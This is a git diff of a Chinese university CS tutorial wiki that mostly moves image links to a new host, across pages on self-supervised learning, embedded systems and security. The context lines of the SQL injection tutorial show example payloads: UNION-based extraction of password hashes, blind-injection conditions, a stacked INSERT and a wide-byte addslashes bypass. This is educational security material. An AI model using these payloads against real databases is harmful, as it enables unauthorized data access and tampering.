a/4.人工智能/4.6.8.5SimCLR.md b/4.人工智能/4.6.8.5SimCLR.md index 58696f0..07c49fa 100644 --- a/4.人工智能/4.6.8.5SimCLR.md +++ b/4.人工智能/4.6.8.5SimCLR.md @@ -6,7 +6,7 @@ x 是输入的图片,它经过两种不同的数据增强得到 xi 和 xj 两个正样本,而同一个 mini-batch 里的所有其他样本都作为负样本。说白了还是个体判别任务 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnq5TYzSltn6CsPM3Bn3xxAb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnq5TYzSltn6CsPM3Bn3xxAb.png) 左右的f 都是编码器,并且是完全一致共享权重的,可以说是同一个。 @@ -18,7 +18,7 @@ x 是输入的图片,它经过两种不同的数据增强得到 xi 和 xj 两 下面这个是更加具体的流程图 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnj3FZsRiJbWsKW07b9B8Fkb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnj3FZsRiJbWsKW07b9B8Fkb.png) # 总结 diff --git a/4.人工智能/4.6.8.6SwAV.md b/4.人工智能/4.6.8.6SwAV.md index 53db0b4..bbfd152 100644 --- a/4.人工智能/4.6.8.6SwAV.md +++ b/4.人工智能/4.6.8.6SwAV.md @@ -20,7 +20,7 @@ 下图左边是常规的对比学习(比如 SimCLR)的结构,右图是 SWAV 的结构,不难看出多了一个叫 prototypes 的东西。这个东西其实是聚类中心向量所构成的矩阵。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnGteJZelEtVqBFwwukw7c8g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnGteJZelEtVqBFwwukw7c8g.png) 下面的内容可能有些理解上的难度(反正我第一次听讲解的时候就云里雾里的),我会尽可能直白地描述这个过程。 @@ -40,7 +40,7 @@ 而我们的优化要采用 [K-means](https://zhuanlan.zhihu.com/p/78798251)(不懂可以看这里)的类似做法,先对聚类中心进行优化,再对特征进行优化。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnKe4DzDfdNbhhHowdE4BJEf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnKe4DzDfdNbhhHowdE4BJEf.png) so,why?相信你现在肯定是一脸懵,不过别急,希望我能为你讲懂。 diff --git a/4.人工智能/4.6.8.7BYOL.md b/4.人工智能/4.6.8.7BYOL.md index 1c4afd7..fd53f56 100644 --- a/4.人工智能/4.6.8.7BYOL.md +++ b/4.人工智能/4.6.8.7BYOL.md @@ -18,7 +18,7 @@ predictor的模型结构就是跟 z 一样的mlp 层。它的任务是通过紫色的特征去预测粉色的特征。也就是说它的代理任务换成了生成式。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcne7eizRhw5GKRSpF40KcMEh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcne7eizRhw5GKRSpF40KcMEh.png) 而具体的损失只有预测特征和真实特征的损失,用的是MSEloss。 @@ -32,7 +32,7 @@ ### 有篇博客在复现 BYOL 时,不小心没加这个 BN 层,导致模型直接摆烂。那么 BN 到底藏着什么呢? -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn8wfpZCjOD2lFsM03N5vatl.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8wfpZCjOD2lFsM03N5vatl.png) 我们得先来回顾一下 BN 做了什么。 @@ -52,7 +52,7 @@ BN 根据批次的均值和方差进行归一化   这篇论文叫 BYOL works even without batch statistics,即在没有 BN 的时候 BYOL 照样能工作,详细的消融实验结果如下表所示 : -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcncmJWb99mlUUIFTPjGoCqYb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncmJWb99mlUUIFTPjGoCqYb.png) BN 非常关键:只要是 `projector`(SimCLR 提出的 mlp)中没有 BN 的地方,SimCLR 性稍微下降;但是 BYOL 全都模型坍塌了。 diff --git a/4.人工智能/4.6.8.8SimSiam.md b/4.人工智能/4.6.8.8SimSiam.md index 88bc544..98fe5f1 100644 --- a/4.人工智能/4.6.8.8SimSiam.md +++ b/4.人工智能/4.6.8.8SimSiam.md @@ -20,7 +20,7 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 虽然看起来只有左边预测右边,其实右边也有一个 predictor 去预测左边的特征,两边是对称的,左右的优化有先后顺序。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnWk5QzvbsSNlyV4B7SMt5zb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnWk5QzvbsSNlyV4B7SMt5zb.png) 结构其实没什么特殊的地方,主要讲讲思想。 @@ -44,7 +44,7 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 这是作者总结的所有”孪生网络“的模型结构,很精炼。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn8OWwnN8ae2vUVttqlu5O8e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8OWwnN8ae2vUVttqlu5O8e.png) 下面是这些网络训练结果的对比,也列出了它们分别有哪些 trick(用的是分类任务) @@ -52,8 +52,8 @@ BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技 负样本 动量编码器 训练轮数 ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3uizAKNhAxQryOwvHxFSDb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3uizAKNhAxQryOwvHxFSDb.png) 具体结果还是图片比较直观( -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnqdfrOIxim4wBayDDBitHCd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnqdfrOIxim4wBayDDBitHCd.png) diff --git a/4.人工智能/4.6.8.9MoCo v3.md b/4.人工智能/4.6.8.9MoCo v3.md index 8613747..f849189 100644 --- a/4.人工智能/4.6.8.9MoCo v3.md +++ b/4.人工智能/4.6.8.9MoCo v3.md @@ -10,7 +10,7 @@ MoCo v3,它缝合了 MoCo 和 SimSiam,以及新的骨干网络 VIT。 可能因为和前面的工作太像了,作者就没有给模型总览图,我们借 MoCo 的总览图来讲 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhxg4HZw2NExIbYZxQGISze.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhxg4HZw2NExIbYZxQGISze.png) 总体架构其实没有太多变化,还是 memory bank 的结构,右边也还是动量编码器,不过加入了 SimCLR 提出的 projection head(就是额外的那层 mlp),并且在对比上用了 SimSiam 的预测头对称学习方式。具体也不展开了,都是老东西缝合在一起。 @@ -18,11 +18,11 @@ MoCo v3,它缝合了 MoCo 和 SimSiam,以及新的骨干网络 VIT。 作者在用 VIT 做骨干网络训练的时候,发现如下问题: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnMMhbVk6wc81H8BSoack7Mg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnMMhbVk6wc81H8BSoack7Mg.png) 在使用 VIT 训练的时候,batchsize 不算太大时训练很平滑,但是一旦 batchsize 变大,训练的图像就会出现如上图这样的波动。于是作者去查看了每一层的梯度,发现问题出在VIT 的第一层线性变换上。也就是下图中的粉色那个层,把图片打成 patch 后展平做的线性变换。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniBkiypcv6IQbxr9D6JukOb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniBkiypcv6IQbxr9D6JukOb.png) 在这一层中,梯度会出现波峰,而正确率则会突然下跌。 diff --git a/4.人工智能/4.6.9.3基本概念介绍.md b/4.人工智能/4.6.9.3基本概念介绍.md index 9daafb4..c4c7761 100644 --- a/4.人工智能/4.6.9.3基本概念介绍.md +++ b/4.人工智能/4.6.9.3基本概念介绍.md @@ -4,13 +4,13 @@ ## 强化学习的基本过程 前面已经介绍过强化学习的核心过程,在于智能体与环境进行交互,通过给出的奖励反馈作为信号学习的过程。简单地用图片表示如下: -![](static/4.6.9.3.1.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.1.png) 正是在这个与环境的交互过程中,智能体不断得到反馈,目标就是尽可能地让环境反馈的奖励足够大。 ## 强化学习过程的基本组成内容 为了便于理解,我们引入任天堂经典游戏——[新超级马里奥兄弟U](https://www.nintendoswitch.com.cn/new_super_mario_bros_u_deluxe/pc/index.html),作为辅助理解的帮手。作为一个2D横向的闯关游戏,它的状态空间和动作空间无疑是简单的。 -![](static/4.6.9.3.2.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.2.png) 1.智能体(Agent):它与环境交互,可以观察到环境并且做出决策,然后反馈给环境。在马里奥游戏中,能操控的这个马里奥本体就是智能体。 @@ -22,7 +22,7 @@ 5.策略(Policy):智能体采取动作的规则,分为**确定性策略**与**随机性策略**。确定性策略代表在相同的状态下,智能体所输出的动作是唯一的。而随机性策略哪怕是在相同的状态下,输出的动作也有可能不一样。这么说有点过于抽象了,那么请思考这个问题:在下面这张图的环境中,如果执行确定性策略会发生什么?(提示:着重关注两个灰色的格子) -![](static/4.6.9.3.3.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/4.6.9.3.3.png) 因此,在强化学习中我们一般使用随机性策略。随机性策略通过引入一定的随机性,使环境能够被更好地探索。同时,如果策略固定——你的对手很容易能预测你的下一步动作并予以反击,这在博弈中是致命的。 随机性策略$\pi$定义如下: diff --git a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md index ed12687..59598b9 100644 --- a/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ b/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md @@ -8,7 +8,7 @@ 这不是因为那些人没有完全入门嵌入式,而是因为在嵌入式的学习过程中你会发现,它的概念会越来越大,逐渐模糊了你的认知,就拿一张某乎上的照片而言: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcny07MPlh99IIS5yxAdL4iDb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcny07MPlh99IIS5yxAdL4iDb.png) 可见嵌入式的概念之广。 @@ -20,7 +20,7 @@ 这玩意儿大家估计不陌生,比如你去酒店里,也许会有一个可以坐电梯上下楼层来完成特定任务的机器人(说实话高二在某季酒店第一次见的时候还蛮新鲜) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn99MPmacSrXPkIgQ13FLABc.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn99MPmacSrXPkIgQ13FLABc.jpg) 而它也是一个嵌入式产品(或者说它们)。 diff --git a/5.富有生命的嵌入式/5.2New meaning of C.md b/5.富有生命的嵌入式/5.2New meaning of C.md index dc20fd2..2389768 100644 --- a/5.富有生命的嵌入式/5.2New meaning of C.md +++ b/5.富有生命的嵌入式/5.2New meaning of C.md @@ -83,15 +83,15 @@ ORG 0BH 下面引入一个 STM32F1 系列的 GPIO 部分寄存器图(来源正点原子提供的 F1 参考手册): -![](static/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png) -![](static/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png) 如果我们想做一个简单的实验-驱动一个 LED 灯(假设此 LED 灯以 PB5 为输出驱动口),在对相应的 RCC 时钟等配置之外,最重要的是对相应的 GPIO 口的配置,首先我们查阅其寄存器的物理起始地址: -![](static/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png) -![](static/HTFUbsQCNouQVzx0QYiciQWOnZf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HTFUbsQCNouQVzx0QYiciQWOnZf.png) 可见 GPIO 外设通过 APB2 总线进行地址定位与传输数据的,所以我们要控制 PB5 的话首先需要定位到对应的地址: diff --git a/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md b/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md index fbfd3f5..c31584c 100644 --- a/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md +++ b/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md @@ -16,13 +16,13 @@ RTOS 中最重要的概念则是“任务”。 我们可以回想一下在 MCU 开发过程中,一般都是在 main 函数里做个 while(1)来完成大部分的处理,将一些相对来说对实时性要求高的函数(如 PID 控制器)扔到定时器中断当中,即应用程序是个无限的循环,是个单任务系统(前后台系统),while(1)作为后台,中断服务函数作为前台。这里采用了“正点原子”的一张图: -![](static/boxcnFySF1Cd02I052V0a9glH1c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFySF1Cd02I052V0a9glH1c.png) 而 RTOS 则是一个多任务系统,那么它这么做有什么好处呢? 2>1 嘛(乐),实际上在前后台系统中,你的每项 Task 要轮流排队等着上次 Task 执行结束后再进行自己的程序,大大影响了其系统的实时性要求;而 RTOS 中我们把整个 while(1)区分成了很多小任务,并且在表面上看起来这些任务运行起来像是同时进行,实际上是因为任务所需的时间较少导致它看起来像是并行,但这将会带来新的疑问,到底什么任务先执行呢?RTOS 就为此提供了任务的相关 API 接口,赋予任务相应的执行优先级属性,并通过任务调度器来控制任务的执行顺序。这里同样采用了“正点原子”的一张图: -![](static/boxcntQgR61yRboDpyb1bpI10Xp.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntQgR61yRboDpyb1bpI10Xp.png) 所以,其实可以这么说:RTOS 将整个流程变成了很多个 while(1)【每个任务都是个 while(1)】。 @@ -65,7 +65,7 @@ int main(){ 由于硬件技术的飞速发展,针对于机器人软件设计的框架也面临着极大的挑战,而 ROS 的出现无异是所有机器人开发者的福音,因为如果按照以前的制作一个机器人流程来讲,也许你要经历以下步骤:硬件结构搭建、控制处理、相关算法构建等等,但是 ROS 的开源共享模式令其可以在其平台上巧妙利用别人的开源模型完成自己的机器人搭建,也就是说 Ros 的出现打破了原本各个开发者(或团队)闭门造车的开发现象,使得其可以共享优秀的机器人应用软件,换句话说就是提高了机器人研发的软件复用率。(毕竟哪个团队都不可能同时在建图、导航、视觉等机器人应用方面处于顶尖位置) -![](static/boxcnRy7E27xggqNshXX3cu4J5Q.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRy7E27xggqNshXX3cu4J5Q.png) 由于 ROS 中完成度最高的是 Ubuntu,所以我们建议你以此展开学习,当然你也可以选择 macOS、Debian 等 OS。 diff --git a/5.富有生命的嵌入式/5.富有生命的嵌入式.md b/5.富有生命的嵌入式/5.富有生命的嵌入式.md index 0f713e6..69a02f1 100644 --- a/5.富有生命的嵌入式/5.富有生命的嵌入式.md +++ b/5.富有生命的嵌入式/5.富有生命的嵌入式.md @@ -11,6 +11,6 @@ > “点星星之火,燃燎原之势,热血芳华,理想当燃” -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3t2GyLQqe4RpGdRtakcwBc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3t2GyLQqe4RpGdRtakcwBc.png) ps:若对此部分讲义有相关疑问或者建议,欢迎 QQ 联系-1213047454 diff --git a/6.计算机安全/6.2.1SQL 注入.md b/6.计算机安全/6.2.1SQL 注入.md index 149456d..8fc8058 100644 --- a/6.计算机安全/6.2.1SQL 注入.md +++ b/6.计算机安全/6.2.1SQL 注入.md @@ -34,7 +34,7 @@ def check_pass(username, password): 从 `users` 表中查出 `username` 对应的 `password` 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHiNBWN86AR4AvSSsUVwSWb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHiNBWN86AR4AvSSsUVwSWb.png) 那么问题来了,在语句 @@ -144,7 +144,7 @@ mysql> select group_concat(id,username separator '_') from users; 现在我们传入 `Liki4'` 这个字符串 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn8TrpE02fnPV7dFzkmnHiAe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8TrpE02fnPV7dFzkmnHiAe.png) 很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。 @@ -154,7 +154,7 @@ mysql> select group_concat(id,username separator '_') from users; 那如果我们传入 `Liki4';#` 这个字符串,那么在拼接后的查询又是什么结果呢 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbAKreqEeZxOYQuQMtZbd9d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbAKreqEeZxOYQuQMtZbd9d.png) 很显然,`#` 号将原本语句的 `';` 注释掉了 @@ -166,7 +166,7 @@ mysql> select group_concat(id,username separator '_') from users; `raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniDohuM3F8FbMqz7YSC0Y5g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniDohuM3F8FbMqz7YSC0Y5g.png) 真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值! @@ -273,7 +273,7 @@ if __name__ == "__main__": 接下来我们进行一次常规查询 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) 可以看到我们成功从数据库中查出了 `username` 和 `password`,并显示在返回中 @@ -293,7 +293,7 @@ def query(username): ... ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbaW15gnJc1O9Iv9WXqJxPc.png) 可以看到,实际执行的语句为 @@ -307,7 +307,7 @@ SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' 构造语句 `123' UNION SELECT DATABASE(), @@version;#` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDeDp5yPE7W4KX9ByBl9ovh.png) 我们就能看到返回中包含了当前数据库名与当前数据库版本 @@ -317,13 +317,13 @@ SELECT * FROM users WHERE username = '123' UNION SELECT 1, 2;#' > `information_schema` 库是一个 MySQL 内置数据库,储存了数据库中的一些基本信息,比如数据库名,表名,列名等一系列关键数据,SQL 注入中可以查询该库来获取数据库中的敏感信息。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnkwvSnhKBhlHNLOSthgul9d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkwvSnhKBhlHNLOSthgul9d.png) 我们可以发现,当前数据库中还存在一张叫 `secret` 的表,让我们偷看一下里面存的是什么 构造语句 `123' UNION SELECT 1, secret_string FROM secret;#` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3kfhJ79ByNML2Z1Q1MwRye.png) 好像得到了什么不得了的秘密 :-) @@ -363,7 +363,7 @@ if __name__ == "__main__": 这样一来我们就只能知道自己是否登录成功,并不能看到查询返回的结果了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn2seUNESHkLC9PYvDp0vFbe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2seUNESHkLC9PYvDp0vFbe.png) 那也就是说,我们无法直观地查看数据库中的数据了,即便查出了不该查的也看不到了 :-( @@ -396,7 +396,7 @@ else: > rlike 是 MySQL 中的一个关键字,是 regex 和 like 的结合体 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJEeAKow3ZhUSvbL4FQXxOh.png) 这里实际执行的语句就变成了 @@ -404,13 +404,13 @@ else: SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^5',1,0); ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJ3jImTQcMUOWJclTACj74e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJ3jImTQcMUOWJclTACj74e.png) ```sql SELECT password FROM users WHERE username = 'Liki4' AND if(@@version rlike '^8',1,0); ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png) 也就是说,当 if 语句中的条件为真时,这个查询才会将 password 查询出来 @@ -480,7 +480,7 @@ if __name__ == "__main__": exp() ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXyMaLh26lkNuAPiQVHuaNg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXyMaLh26lkNuAPiQVHuaNg.png) #### @@ -523,7 +523,7 @@ if __name__ == "__main__": 如果想要让布尔盲注不可用,我们可以做一个假设,假设我们并不知道账户的密码,也就无法通过登陆验证,这个时候就失去了布尔盲注最大的依赖,也就无法得知 if 表达式的真或假了。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndxf4WEQQQEXspS7GwNKI6J.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndxf4WEQQQEXspS7GwNKI6J.png) 但,真的没办法了吗? @@ -600,7 +600,7 @@ if __name__ == "__main__": exp() ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnsStdHC5VmBylyx6S7hakEb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsStdHC5VmBylyx6S7hakEb.png) ### 基于报错的 SQL 注入 (TODO) @@ -640,7 +640,7 @@ if __name__ == "__main__": main() ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl67uDDSIdh3J7y7Jxjk0dc.png) 这样一来如果 SQL 语句执行报错的话,错误信息就会被打印出来 @@ -671,9 +671,9 @@ MySQL 8.0 doc: [https://dev.mysql.com/doc/refman/8.0/en/](https://dev.mysql.com/ `Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnrMIc2m6oubxC86CEtw1jMe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrMIc2m6oubxC86CEtw1jMe.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnVRdntvakiTpt7nP8JhKKfc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVRdntvakiTpt7nP8JhKKfc.png) INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 @@ -776,7 +776,7 @@ INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据 在 GB2312、GBK、GB18030、BIG5、Shift_JIS 等编码下来吃掉 ASCII 字符的方法,可以用来绕过 `addslashes()` `id=0%df%27%20union%20select%201,2,database();` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnaRtyUGC0sX3btnFIgpDCob.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaRtyUGC0sX3btnFIgpDCob.png) ### information_schema 被过滤 @@ -795,7 +795,7 @@ select table_name from mysql.innodb_index_stats where database_name=database select table_name from mysql.innodb_table_stats where database_name=database(); ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbMtjAq8osStjcSbFuIdDSc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbMtjAq8osStjcSbFuIdDSc.png) ##### MySQL 5.7 的新特性 @@ -812,7 +812,7 @@ select table_name from sys.schema_table_statistics_with_buffer where table_schem select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database(); ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnV68mdIQmovJwczDsOc53gc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnV68mdIQmovJwczDsOc53gc.png) ### 无列名注入 @@ -820,7 +820,7 @@ select table_name from sys.x$schema_table_statistics_with_buffer where table_sch `select a,b from (select 1 as a, 2 as b union select * from users)x;` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnI3jJNlLqq4f7WqRKGEWTeh.png) ## 超脱 MySQL 之外 (TODO) diff --git a/6.计算机安全/6.3.2软件破解、软件加固.md b/6.计算机安全/6.3.2软件破解、软件加固.md index 9f6627e..7631692 100644 --- a/6.计算机安全/6.3.2软件破解、软件加固.md +++ b/6.计算机安全/6.3.2软件破解、软件加固.md @@ -45,7 +45,7 @@ ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP. 还是上一篇的示例, 入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态, 我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色, 也即值发生了改变. -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnJdWqlHmhlvB471dIGT4GEh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJdWqlHmhlvB471dIGT4GEh.png) 我们鼠标右击 `ESP` 寄存器的值, 也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后, 按下 `F9` 运行程序, 程序会在触发断点时断下. 如图来到了 `0040D3B0` 的位置. 这里就是上一篇我们单步跟踪时到达的位置, 剩余的就不再赘述. diff --git a/7.Web开发入门/7.1.1基础部分.md b/7.Web开发入门/7.1.1基础部分.md index c5766f2..deace25 100644 --- a/7.Web开发入门/7.1.1基础部分.md +++ b/7.Web开发入门/7.1.1基础部分.md @@ -45,13 +45,13 @@ 设计稿如下: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg) #### 可能需要用到的图片资源 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbigxAK5SbxiWuDHr1Ashne.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbigxAK5SbxiWuDHr1Ashne.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnrqddPFusKhe0vZuzXJOosg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrqddPFusKhe0vZuzXJOosg.png) #### 基本要求 @@ -93,9 +93,9 @@ ### 🎫TodoList -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnikdFX5WNml7sgtPMOJQiGh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnikdFX5WNml7sgtPMOJQiGh.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnFZwQVTUWkfsbNxYfJkgPDg.png) 